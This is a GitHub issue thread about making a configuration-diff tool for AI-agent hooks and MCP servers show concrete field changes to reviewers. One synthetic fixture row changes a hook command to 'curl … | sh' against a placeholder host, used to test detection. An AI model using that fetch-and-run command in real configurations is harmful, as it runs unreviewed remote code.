Skip to content

Show concrete field changes so an unfamiliar reviewer can act on the first advisory result #795

Closed

Description

@pengfei-threemoonslab

Problem

A reviewer should be able to identify what changed, inspect its evidence and decide the next action without a maintainer translating Agents Shipgate output. A row such as PostToolUse → PostToolUse, widened, high does not explain a matcher, command or timeout change.

The September 15 1.0.0 exploratory report (F6) observed that shape on Giskard#2618. The earlier MemWal#913 example displayed memwal → memwal while a package argument was pinned. These dated examples motivate a fixed-ref replay; they do not establish that every current path still behaves identically. Information loss and an unsupported direction classification must be diagnosed separately.

Proposed behavior

Start with #780/#786's advisory PR result and its linked report, reusing the shared capability rows and renderer. Make the changed subject and actual before/after values visible first. Keep the canonical project identity discoverable once.

For supported hook and MCP rows, expose the relevant field changes:

  • Hooks: event, matcher, command summary and timeout where the reader establishes them.
  • MCP launch configuration: the established command/argument change, including a version pin when safely displayable.
  • Permission rules: actual added/removed/changed rules and their declaration source.

Use bounded detail with existing redaction. A detected declaration change does not itself prove widening, narrowing or effective runtime authority. Where direction is not established, publish the observed change and its limit through the compatible engine-owned contract; do not have a renderer invent a verdict.

Keep the evidence and a specific review question together. “Do we intend this declared permission change?” can be useful even when another reviewer already knows about it. Novelty is not an eligibility requirement for #811's value test.

Boundaries

  • Removing a tracked hook declaration establishes removal from that declaration. Mention migration to local/generated configuration only when supported reference/generation evidence establishes it; otherwise name the unavailable scope.
  • Pairing old/new entries for readability must not assume case-insensitive command semantics. Preserve meaningful case changes and distinct rules.
  • Show what each host comparison checked, partially checked and could not establish #812 owns per-run coverage data; this renderer consumes it rather than inventing a parallel census.
  • Reproduction belongs in the linked report with exercised refs/history/version. No compulsory reinstall, manifest, baseline or policy authoring.
  • Explicit requests still return accurate no-change/incomplete status. Preserve quiet, deduplicated unsolicited notifications; do not append marketing or mandatory questions everywhere.
  • Preserve all existing control/authority semantics and the Revisit the legacy repository skill after readiness: prove its value before restoring default invocation #690 disposition.

Acceptance

Sequence

P1, first product improvement in #811. Reuse #798's example work and #662's parity infrastructure. Coverage detail follows through #812; do not wait for expanded framework support or every reliability repair before observing a supported first result.

Parent #791; product-validation link #811. Related #652, #362, #463, #661, #779, #780, #440, #328, #653, #571.

Journey delivery - 2026-09-16

Program: #778. Delivery milestone: Adoption Phase 1 - A real change the reviewer understands. Accountable role: CLI/report engineering with product/research.

This is the first selected product improvement. Its consumer is a non-author reviewer who must name the actual field change, evidence, unresolved scope and a concrete next action without maintainer translation. Reuse the same row facts in CLI, maintained JSON and the selected #780 PR presentation. #812 supplies coverage; #811 uses these outputs for decisions and correction. Validate fixed-ref hook/MCP examples plus the chosen shell case; observe external comprehension through #653/#571. Do not call an observed configuration change widening unless the engine establishes that direction.

Planning checkpoints preserve #778's original 2026-09-14 start: Oct 14 / Nov 13 / Dec 13. They are evidence-review dates, not promises about external replies. Phases overlap; a later milestone never delays supported research, an already-possible correction or an individual four-week opportunity window. A named accountable owner is required before execution; the role here is not an assignment to an uninvolved person.

Activity

  1. added
    enhancementNew feature or request
    P1Next after P0; blocks other work or ships a misleading result
    area:agent-modeAgent-mode contract: control envelope, next actions, command strings
    on Sep 15, 2026
  2. changed the title [-]First-contact contract: what a stranger's coding agent must learn from one job annotation, PR comment, hook message or diff line[/-] [+]Make the first advisory PR result actionable to an unfamiliar reviewer without extra setup[/+] on Sep 15, 2026
  3. changed the title [-]Make the first advisory PR result actionable to an unfamiliar reviewer without extra setup[/-] [+]Show concrete field changes so an unfamiliar reviewer can act on the first advisory result[/+] on Sep 16, 2026
  4. pengfei-threemoonslab commented on Sep 16, 2026

    @pengfei-threemoonslab
    ContributorAuthor

    Split — 2026-09-16 (owner decision, see #778)

    Slice 1 stays here (Phase 1). It needs no new grant fields:

    • Permission rows show the disposition (allow: Bash(npm test *)).
    • Replacements the engine already pairs, and identical rule text that only moved between dispositions, render as one before/after change. There is no heuristic or case-insensitive pairing. The engine-side pairing fix is Host diff misreads permission direction: :* narrowing reported as widening, a moved rule blocks pairing, a single MCP tool treated as wildcard #816.
    • Comparable results that have rows carry the ⚠ marker, base and head short SHAs, the tool version, a copyable diff --base <sha> reproduction and the review question ("Does the team intend this declared permission change?"). No-change results stay compact.
    • MCP rows render the differences in the fields already published (transport, endpoint, env_keys, header_keys).

    Slice 2 moves to #819 (Phase 2): hook matcher, command summary and timeout, plus MCP args and version pin.

    Direction defects are tracked separately: #820 covers hook, MCP and plugin edits labelled as widenings; #816 covers :*, moved-rule pairing and single MCP tools.

    Synthetic fixture facts (main 9df307ab)

    Head change, one commit Row
    PostToolUse matcher Edit → Edit|Write|Bash ⚠ high widened PostToolUse → PostToolUse
    command bin/lint.sh → curl -s https://example.invalid/x | sh identical
    timeout 10 → 600 identical
    early-exit guard prepended to the command (narrows) identical (#820)
    .mcp.json arg example-mcp-server@1.2.3 → @latest ⚠ high widened docs → docs

    audit --host --json grant keys:

    • hook: access, config_sha256, event, grant_id, host, kind, risk, scope, source. There is no matcher, command or timeout.
    • mcp_server: endpoint is the executable basename (npx), and there are no args.

    The edit is detected only through config_sha256. Showing these fields therefore needs engine-side fields added compatibly under STABILITY.md (#819), not only rendering. The full reproduction commands are in #819 and #820.

  5. pengfei-threemoonslab commented on Sep 24, 2026

    @pengfei-threemoonslab
    ContributorAuthor

    Days 1–5 reconciliation (PR #869): keep this issue open pending an explicit join of its remaining acceptance to same-version source/package/PR evidence. #837 is delivered; do not rebuild the field renderer merely because this parent remains open. Retain direction correctness as engine-owned and unaided review as a separate observation; a merged presentation slice alone does not satisfy every acceptance item. This phase changes backlog selection, not user-value counts.

  6. pengfei-threemoonslab commented on Oct 1, 2026

    @pengfei-threemoonslab
    ContributorAuthor

    Published 1.2.0 outreach replay evidence (2026-10-01): these two real, open PRs were readable but did not yield a concrete incremental observation suitable for a first email.

    1. Airalo/airalo-php-sdk #73, base af201ac51c5384a23c827af2f3318d526f0a4ab1, head a0f1efeb0b0a42aa4e588a63bc72a8c83f543d59.
      .claude/settings.json registers bash "$CLAUDE_PROJECT_DIR/.claude/hooks/php-lint.sh". The main row says PostToolUse (matcher Edit|Write|MultiEdit; command bash sha256:efa64fe1743f) and “changes what runs around the agent's actions.” Coverage correctly names interpreter_wrapper as unresolved. The reviewer still has to recover the script/path and its behavior from the original diff; the row supplies no extra impact beyond the author's tooling description.

    2. devfile/devworkspace-operator #1714, base 3526ad3a35af5b42c9ea0017af90e69202acf00d, head 4f8825fb5b1b2abb99b59195e7ce186200b6066e.
      The PreToolUse row presents two <not-shown> command digests; coverage correctly names unsupported_command_shape. That disclosure is useful for scope honesty, but the main observation cannot explain a concrete effect beyond “a hook was added.”

    Both were full Git checkouts, run with the PyPI agents-shipgate==1.2.0 CLI using diff --workspace … --base <base> --json and the equivalent text command. JSON, text, raw diff, pinned refs and command records are saved in the local experiment packet. These are output usefulness limits, not claims that an unparsed script is unsafe or that arbitrary shell execution should be inferred. Reuse this issue rather than creating a duplicate of the existing first-result readability work.

  7. pengfei-threemoonslab commented on Oct 6, 2026

    @pengfei-threemoonslab
    ContributorAuthor

    Additional real-PR reproduction of the concrete-field problem: openai/codex-security#1281.

    Pinned Agents Shipgate main: 86ed18efa5a2001bbfa54e7217281240d93c7584 (version string 1.2.0; not presented as a released OpenShell build). Independently verified merge base 4949af70fcfadff154f6e8fdf100faa5bf2f8169, head d1991e66a3b811d979539e98c4392ef36341be18.

    plugins/codex-security/.mcp.json adds CODEX_SECURITY_PLUGIN_ROOT to the codex-security server's env_vars array. Command name, args and the ordinary env map are unchanged. The array contains names, not credential values.

    Verbatim output:

      high  changed  claude-code plugins/codex-security/.mcp.json
                    codex-security: no difference in the command name launch_codex_security_mcp, launch arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path or another setting
                    MCP edit; authority direction is unknown
    

    The output detects the serialized server change but gives a reviewer no concrete field to judge. It mentions the command path as a possible explanation, whereas this case changes an environment passthrough name. This candidate was excluded from outreach because the row cannot convey the actual change.

    This is a display/recognized-field reproduction, not a claim that the variable is available, that a server executed, or that either host uses this field. Naming an unsupported changed field explicitly would also be clearer than the current generic detail.

    Local experiment artifacts: research_notes/outreach-openshell-fill20-2026-10-06/cases/openai__codex-security__pr1281/ (diff.json, diff.txt, raw diff and merge-base receipt).

  8. pengfei-threemoonslab commented on Oct 8, 2026

    @pengfei-threemoonslab
    ContributorAuthor

    The bounded residual from the 2026-10-06 reproduction landed in #1003: an MCP server's env_vars names now appear in the row (env_vars names +CODEX_SECURITY_PLUGIN_ROOT) instead of "a detail this output does not show", on every route. An env/headers value-only change is deliberately still no row, because those values are redacted before hashing and naming them would need a per-key digest of secrets.

    With #819, #837, #845, #846, #851, #886, #972 (hook args and settings), #934 (hook command shape) and #968 (OpenShell facts) merged, the field-level part of this issue is delivered. What remains is the unaided-reader clause, an observation that belongs to the pilot protocol in #571; closing this as delivered and tracking that observation there.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    P1Next after P0; blocks other work or ships a misleading resultarea:agent-modeAgent-mode contract: control envelope, next actions, command stringsenhancementNew feature or requestworkstream:hostHost-configuration comparison correctness, coverage and performance.

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions